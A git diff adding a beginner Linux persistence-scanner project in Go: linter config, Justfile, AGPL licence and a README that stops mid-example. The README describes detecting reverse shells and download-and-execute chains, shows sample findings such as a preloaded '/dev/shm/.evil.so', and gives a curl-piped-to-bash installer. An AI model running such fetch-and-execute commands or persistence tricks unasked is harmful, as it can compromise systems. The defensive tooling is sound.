diff --git a/PROJECTS/beginner/systemd-persistence-scanner/.gitignore b/PROJECTS/beginner/systemd-persistence-scanner/.gitignore
new file mode 100644
index 00000000..ebb77dff
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/.gitignore
@@ -0,0 +1,5 @@
+docs/
+bin/
+/sentinel
+*.exe
+*.out
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/.golangci.yml b/PROJECTS/beginner/systemd-persistence-scanner/.golangci.yml
new file mode 100644
index 00000000..6b605e7e
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/.golangci.yml
@@ -0,0 +1,79 @@
+# ©AngelaMos | 2026
+# .golangci.yml
+
+version: "2"
+
+linters:
+ default: none
+ enable:
+ - errcheck
+ - govet
+ - gosec
+ - bodyclose
+ - nilerr
+ - errorlint
+ - exhaustive
+ - gocritic
+ - funlen
+ - gocognit
+ - dupl
+ - goconst
+ - ineffassign
+ - unused
+ - unconvert
+ - unparam
+ - testifylint
+ - fatcontext
+
+ exclusions:
+ paths:
+ - vendor
+ - testdata
+ rules:
+ - path: _test\.go
+ linters:
+ - funlen
+ - dupl
+ - goconst
+
+ settings:
+ errcheck:
+ check-type-assertions: true
+ check-blank: true
+
+ funlen:
+ lines: 100
+ statements: 50
+
+ gocognit:
+ min-complexity: 20
+
+ govet:
+ enable-all: true
+ disable:
+ - fieldalignment
+
+ gosec:
+ excludes:
+ - G104
+
+issues:
+ max-same-issues: 50
+
+formatters:
+ enable:
+ - gci
+ - gofumpt
+ - golines
+ settings:
+ golines:
+ max-len: 80
+ reformat-tags: true
+ gci:
+ sections:
+ - standard
+ - default
+ - prefix(github.com/CarterPerez-dev)
+ custom-order: true
+ gofumpt:
+ extra-rules: true
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/Justfile b/PROJECTS/beginner/systemd-persistence-scanner/Justfile
new file mode 100644
index 00000000..0eba894f
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/Justfile
@@ -0,0 +1,133 @@
+# ©AngelaMos | 2026
+# Justfile
+
+set export
+set shell := ["bash", "-uc"]
+
+project := file_name(justfile_directory())
+version := `git describe --tags --always 2>/dev/null || echo "dev"`
+
+# =============================================================================
+# Default
+# =============================================================================
+
+default:
+ @just --list --unsorted
+
+# =============================================================================
+# Linting and Formatting
+# =============================================================================
+
+[group('lint')]
+lint *ARGS:
+ golangci-lint run --timeout=5m {{ARGS}}
+
+[group('lint')]
+lint-fix:
+ golangci-lint run --timeout=5m --fix
+
+[group('lint')]
+format:
+ golangci-lint fmt
+
+[group('lint')]
+tidy:
+ go mod tidy
+
+[group('lint')]
+vet:
+ go vet ./...
+
+# =============================================================================
+# Testing
+# =============================================================================
+
+[group('test')]
+test *ARGS:
+ go test -race ./... {{ARGS}}
+
+[group('test')]
+test-v *ARGS:
+ go test -race -v ./... {{ARGS}}
+
+[group('test')]
+cover:
+ go test -race -cover ./...
+
+# =============================================================================
+# CI / Quality
+# =============================================================================
+
+[group('ci')]
+ci: lint test
+ @echo "All checks passed."
+
+[group('ci')]
+check: lint vet
+
+# =============================================================================
+# Development
+# =============================================================================
+
+[group('dev')]
+run *ARGS:
+ go run ./cmd/sentinel {{ARGS}}
+
+[group('dev')]
+dev-scan:
+ go run ./cmd/sentinel scan
+
+[group('dev')]
+dev-scan-json:
+ go run ./cmd/sentinel scan --json
+
+[group('dev')]
+dev-testdata:
+ go run ./cmd/sentinel scan --root testdata
+
+[group('dev')]
+dev-baseline-save:
+ go run ./cmd/sentinel baseline save
+
+[group('dev')]
+dev-baseline-diff:
+ go run ./cmd/sentinel baseline diff
+
+# =============================================================================
+# Build (Production)
+# =============================================================================
+
+[group('prod')]
+build:
+ go build -ldflags="-s -w" -o bin/sentinel ./cmd/sentinel
+ @echo "Built: bin/sentinel ($(du -h bin/sentinel | cut -f1))"
+
+[group('prod')]
+build-static:
+ CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o bin/sentinel ./cmd/sentinel
+ @echo "Built static: bin/sentinel ($(du -h bin/sentinel | cut -f1))"
+
+[group('prod')]
+build-debug:
+ go build -o bin/sentinel ./cmd/sentinel
+
+[group('prod')]
+install:
+ go install ./cmd/sentinel
+
+# =============================================================================
+# Utilities
+# =============================================================================
+
+[group('util')]
+info:
+ @echo "Project: {{project}}"
+ @echo "Version: {{version}}"
+ @echo "Go: $(go version | cut -d' ' -f3)"
+ @echo "OS: {{os()}} ({{arch()}})"
+ @echo "Module: $(head -1 go.mod | cut -d' ' -f2)"
+
+[group('util')]
+clean:
+ -rm -rf bin/
+ @echo "Cleaned build artifacts."
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/LICENSE b/PROJECTS/beginner/systemd-persistence-scanner/LICENSE
new file mode 100644
index 00000000..0ad25db4
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/LICENSE
@@ -0,0 +1,661 @@
+ GNU AFFERO GENERAL PUBLIC LICENSE
+ Version 3, 19 November 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc.
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+ Preamble
+
+ The GNU Affero General Public License is a free, copyleft license for
+software and other kinds of works, specifically designed to ensure
+cooperation with the community in the case of network server software.
+
+ The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works. By contrast,
+our General Public Licenses are intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.
+
+ When we speak of free software, we are referring to freedom, not
+price. Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+ Developers that use our General Public Licenses protect your rights
+with two steps: (1) assert copyright on the software, and (2) offer
+you this License which gives you legal permission to copy, distribute
+and/or modify the software.
+
+ A secondary benefit of defending all users' freedom is that
+improvements made in alternate versions of the program, if they
+receive widespread use, become available for other developers to
+incorporate. Many developers of free software are heartened and
+encouraged by the resulting cooperation. However, in the case of
+software used on network servers, this result may fail to come about.
+The GNU General Public License permits making a modified version and
+letting the public access it on a server without ever releasing its
+source code to the public.
+
+ The GNU Affero General Public License is designed specifically to
+ensure that, in such cases, the modified source code becomes available
+to the community. It requires the operator of a network server to
+provide the source code of the modified version running there to the
+users of that server. Therefore, public use of a modified version, on
+a publicly accessible server, gives the public access to the source
+code of the modified version.
+
+ An older license, called the Affero General Public License and
+published by Affero, was designed to accomplish similar goals. This is
+a different license, not a version of the Affero GPL, but Affero has
+released a new version of the Affero GPL which permits relicensing under
+this license.
+
+ The precise terms and conditions for copying, distribution and
+modification follow.
+
+ TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ "This License" refers to version 3 of the GNU Affero General Public License.
+
+ "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+ "The Program" refers to any copyrightable work licensed under this
+License. Each licensee is addressed as "you". "Licensees" and
+"recipients" may be individuals or organizations.
+
+ To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy. The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+ A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+ To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy. Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+ To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies. Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+ An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License. If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+ 1. Source Code.
+
+ The "source code" for a work means the preferred form of the work
+for making modifications to it. "Object code" means any non-source
+form of a work.
+
+ A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+ The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form. A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+ The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities. However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work. For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+ The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+ The Corresponding Source for a work in source code form is that
+same work.
+
+ 2. Basic Permissions.
+
+ All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met. This License explicitly affirms your unlimited
+permission to run the unmodified Program. The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work. This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+ You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force. You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright. Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+ Conveying under any other circumstances is permitted solely under
+the conditions stated below. Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+ No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+ When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+ You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+ You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+ You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+ a) The work must carry prominent notices stating that you modified
+ it, and giving a relevant date.
+
+ b) The work must carry prominent notices stating that it is
+ released under this License and any conditions added under section
+ 7. This requirement modifies the requirement in section 4 to
+ "keep intact all notices".
+
+ c) You must license the entire work, as a whole, under this
+ License to anyone who comes into possession of a copy. This
+ License will therefore apply, along with any applicable section 7
+ additional terms, to the whole of the work, and all its parts,
+ regardless of how they are packaged. This License gives no
+ permission to license the work in any other way, but it does not
+ invalidate such permission if you have separately received it.
+
+ d) If the work has interactive user interfaces, each must display
+ Appropriate Legal Notices; however, if the Program has interactive
+ interfaces that do not display Appropriate Legal Notices, your
+ work need not make them do so.
+
+ A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit. Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+ You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+ a) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by the
+ Corresponding Source fixed on a durable physical medium
+ customarily used for software interchange.
+
+ b) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by a
+ written offer, valid for at least three years and valid for as
+ long as you offer spare parts or customer support for that product
+ model, to give anyone who possesses the object code either (1) a
+ copy of the Corresponding Source for all the software in the
+ product that is covered by this License, on a durable physical
+ medium customarily used for software interchange, for a price no
+ more than your reasonable cost of physically performing this
+ conveying of source, or (2) access to copy the
+ Corresponding Source from a network server at no charge.
+
+ c) Convey individual copies of the object code with a copy of the
+ written offer to provide the Corresponding Source. This
+ alternative is allowed only occasionally and noncommercially, and
+ only if you received the object code with such an offer, in accord
+ with subsection 6b.
+
+ d) Convey the object code by offering access from a designated
+ place (gratis or for a charge), and offer equivalent access to the
+ Corresponding Source in the same way through the same place at no
+ further charge. You need not require recipients to copy the
+ Corresponding Source along with the object code. If the place to
+ copy the object code is a network server, the Corresponding Source
+ may be on a different server (operated by you or a third party)
+ that supports equivalent copying facilities, provided you maintain
+ clear directions next to the object code saying where to find the
+ Corresponding Source. Regardless of what server hosts the
+ Corresponding Source, you remain obligated to ensure that it is
+ available for as long as needed to satisfy these requirements.
+
+ e) Convey the object code using peer-to-peer transmission, provided
+ you inform other peers where the object code and Corresponding
+ Source of the work are being offered to the general public at no
+ charge under subsection 6d.
+
+ A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+ A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling. In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage. For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product. A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+ "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source. The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+ If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information. But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+ The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed. Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+ Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+ 7. Additional Terms.
+
+ "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law. If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+ When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it. (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.) You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+ Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+ a) Disclaiming warranty or limiting liability differently from the
+ terms of sections 15 and 16 of this License; or
+
+ b) Requiring preservation of specified reasonable legal notices or
+ author attributions in that material or in the Appropriate Legal
+ Notices displayed by works containing it; or
+
+ c) Prohibiting misrepresentation of the origin of that material, or
+ requiring that modified versions of such material be marked in
+ reasonable ways as different from the original version; or
+
+ d) Limiting the use for publicity purposes of names of licensors or
+ authors of the material; or
+
+ e) Declining to grant rights under trademark law for use of some
+ trade names, trademarks, or service marks; or
+
+ f) Requiring indemnification of licensors and authors of that
+ material by anyone who conveys the material (or modified versions of
+ it) with contractual assumptions of liability to the recipient, for
+ any liability that these contractual assumptions directly impose on
+ those licensors and authors.
+
+ All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10. If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term. If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+ If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+ Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+ 8. Termination.
+
+ You may not propagate or modify a covered work except as expressly
+provided under this License. Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+ However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+ Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+ Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License. If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+ You are not required to accept this License in order to receive or
+run a copy of the Program. Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance. However,
+nothing other than this License grants you permission to propagate or
+modify any covered work. These actions infringe copyright if you do
+not accept this License. Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+ Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License. You are not responsible
+for enforcing compliance by third parties with this License.
+
+ An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations. If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+ You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License. For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+ 11. Patents.
+
+ A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based. The
+work thus licensed is called the contributor's "contributor version".
+
+ A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version. For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+ Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+ In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement). To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+ If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients. "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+ If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+ A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License. You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+ Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+ If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License. If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all. For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+ 13. Remote Network Interaction; Use with the GNU General Public License.
+
+ Notwithstanding any other provision of this License, if you modify the
+Program, your modified version must prominently offer all users
+interacting with it remotely through a computer network (if your version
+supports such interaction) an opportunity to receive the Corresponding
+Source of your version by providing access to the Corresponding Source
+from a network server at no charge, through some standard or customary
+means of facilitating copying of software. This Corresponding Source
+shall include the Corresponding Source for any work covered by version 3
+of the GNU General Public License that is incorporated pursuant to the
+following paragraph.
+
+ Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU General Public License into a single
+combined work, and to convey the resulting work. The terms of this
+License will continue to apply to the part which is the covered work,
+but the work with which it is combined will remain governed by version
+3 of the GNU General Public License.
+
+ 14. Revised Versions of this License.
+
+ The Free Software Foundation may publish revised and/or new versions of
+the GNU Affero General Public License from time to time. Such new versions
+will be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+ Each version is given a distinguishing version number. If the
+Program specifies that a certain numbered version of the GNU Affero General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation. If the Program does not specify a version number of the
+GNU Affero General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+ If the Program specifies that a proxy can decide which future
+versions of the GNU Affero General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+ Later license versions may give you additional or different
+permissions. However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+ 15. Disclaimer of Warranty.
+
+ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 16. Limitation of Liability.
+
+ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+ If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+ END OF TERMS AND CONDITIONS
+
+ How to Apply These Terms to Your New Programs
+
+ If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+ To do so, attach the following notices to the program. It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+
+ Copyright (C)
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU Affero General Public License as published
+ by the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU Affero General Public License for more details.
+
+ You should have received a copy of the GNU Affero General Public License
+ along with this program. If not, see .
+
+Also add information on how to contact you by electronic and paper mail.
+
+ If your software can interact with users remotely through a computer
+network, you should also make sure that it provides a way for users to
+get its source. For example, if your program is a web application, its
+interface could display a "Source" link that leads users to an archive
+of the code. There are many ways you could offer source, and different
+solutions will be better for different programs; see section 13 for the
+specific requirements.
+
+ You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU AGPL, see
+.
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/README.md b/PROJECTS/beginner/systemd-persistence-scanner/README.md
new file mode 100644
index 00000000..3d14bfb4
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/README.md
@@ -0,0 +1,102 @@
+```regex
+███████╗███████╗███╗ ██╗████████╗
+██╔════╝██╔════╝████╗ ██║╚══██╔══╝
+███████╗█████╗ ██╔██╗ ██║ ██║
+╚════██║██╔══╝ ██║╚██╗██║ ██║
+███████║███████╗██║ ╚████║ ██║
+╚══════╝╚══════╝╚═╝ ╚═══╝ ╚═╝
+```
+
+[](https://github.com/CarterPerez-dev/Cybersecurity-Projects/tree/main/PROJECTS/beginner/systemd-persistence-scanner)
+[](https://go.dev)
+[](https://www.gnu.org/licenses/agpl-3.0)
+[](https://attack.mitre.org/tactics/TA0003/)
+
+> Linux persistence mechanism scanner. Drop a single binary, find every backdoor.
+
+*This is a quick overview. Security theory, architecture, and full walkthroughs are in the [learn modules](#learn).*
+
+## What It Does
+
+- Scans 12+ persistence mechanism categories: systemd, cron, shell profiles, SSH, LD_PRELOAD, kernel modules, udev rules, init.d, XDG autostart, at jobs, MOTD scripts, and PAM modules
+- Applies heuristic detection for reverse shells, download-and-execute chains, encoded payloads, alias hijacking, and temp directory abuse
+- Severity scoring from info to critical with MITRE ATT&CK technique mapping on every finding
+- Baseline mode saves a clean-system snapshot, then highlights only new findings on subsequent runs
+- Compiles to a single static binary with zero dependencies for portable deployment
+
+## Quick Start
+
+```bash
+go install github.com/CarterPerez-dev/sentinel/cmd/sentinel@latest
+sentinel scan
+```
+
+> [!TIP]
+> This project uses [`just`](https://github.com/casey/just) as a command runner. Type `just` to see all available commands.
+>
+> Install: `curl -sSf https://just.systems/install.sh | bash -s -- --to ~/.local/bin`
+
+## Commands
+
+| Command | Description |
+|---------|-------------|
+| `sentinel scan` | Scan for all persistence mechanisms |
+| `sentinel scan --json` | Output results as structured JSON |
+| `sentinel scan --min-severity high` | Only show high and critical findings |
+| `sentinel scan --root /mnt/target` | Scan a mounted filesystem or chroot |
+| `sentinel baseline save` | Save current state as a clean baseline |
+| `sentinel baseline diff` | Show only new findings since baseline |
+
+## Example Output
+
+```
+ [CRITICAL] Library in ld.so.preload
+ Path: /etc/ld.so.preload
+ Evidence: /dev/shm/.evil.so
+ MITRE: T1574.006
+
+ [HIGH] Suspicious cron entry: download-and-execute chain
+ Path: /etc/cron.d/updater
